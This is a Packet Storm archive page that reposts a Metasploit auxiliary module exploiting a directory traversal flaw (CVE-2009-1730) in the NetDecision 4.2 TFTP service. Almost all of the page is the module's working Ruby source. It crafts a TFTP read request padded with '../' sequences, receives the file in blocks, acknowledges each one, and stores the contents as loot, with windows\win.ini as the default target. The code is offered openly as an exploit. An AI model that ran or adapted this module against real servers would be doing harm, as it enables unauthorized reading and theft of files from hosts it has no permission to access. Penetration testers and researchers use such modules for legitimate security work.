exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

NetDecision 4.2 TFTP Directory Traversal

NetDecision 4.2 TFTP Directory Traversal
Posted Aug 31, 2024
Authored by Rob Kraus, juan vazquez | Site metasploit.com

This Metasploit modules exploits a directory traversal vulnerability in NetDecision 4.2 TFTP service.

tags | exploit
advisories | CVE-2009-1730
SHA-256 | 82ebd3972f559a0e67b990abcd101f061a85f5f36f1cdddb753037f361b6431d

NetDecision 4.2 TFTP Directory Traversal

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report

def initialize(info={})
super(update_info(info,
'Name' => "NetDecision 4.2 TFTP Directory Traversal",
'Description' => %q{
This modules exploits a directory traversal vulnerability in NetDecision 4.2
TFTP service.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Rob Kraus', # Vulnerability discovery
'juan vazquez' # Metasploit module
],
'References' =>
[
['CVE', '2009-1730'],
['OSVDB', '54607'],
['BID', '35002']
],
'DisclosureDate' => '2009-05-16'
))

register_options(
[
Opt::RPORT(69),
OptInt.new('DEPTH', [false, "Levels to reach base directory",1]),
OptString.new('FILENAME', [false, 'The file to loot', 'windows\\win.ini']),
])
end

def run_host(ip)


# Configure how deep we want to traverse
depth = (datastore['DEPTH'].nil? or datastore['DEPTH'] == 0) ? 10 : datastore['DEPTH']
# Prepare the filename
file_name = "../" * depth
file_name << datastore['FILENAME']

# Prepare the packet
pkt = "\x00\x01"
pkt << file_name
pkt << "\x00"
pkt << "octet"
pkt << "\x00"

# We need to reuse the same port in order to receive the data
udp_sock = Rex::Socket::Udp.create(
{
'Context' => {'Msf' => framework, 'MsfExploit'=>self}
}
)

add_socket(udp_sock)

# Send the packet to target
file_data = ''
udp_sock.sendto(pkt, ip, datastore['RPORT'].to_i)

while (r = udp_sock.recvfrom(65535, 0.1) and r[1])

opcode, block, data = r[0].unpack("nna*") # Parse reply
if opcode != 3 # Check opcode: 3 => Data Packet
print_error("Error retrieving file #{file_name} from #{ip}")
return
end
file_data << data
udp_sock.sendto(tftp_ack(block), r[1], r[2].to_i, 0) # Ack

end

if file_data.empty?
print_error("Error retrieving file #{file_name} from #{ip}")
return
end

udp_sock.close

# Output file if verbose
vprint_line(file_data.to_s)

# Save file to disk
path = store_loot(
'netdecision.tftp',
'application/octet-stream',
ip,
file_data,
datastore['FILENAME']
)

print_status("File saved in: #{path}")
end

#
# Returns an Acknowledgement
#
def tftp_ack(block=1)

pkt = "\x00\x04" # Ack
pkt << [block].pack("n") # Block Id

end
end
Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    21 Files
  • 17
    Sep 17th
    51 Files
  • 18
    Sep 18th
    23 Files
  • 19
    Sep 19th
    48 Files
  • 20
    Sep 20th
    36 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close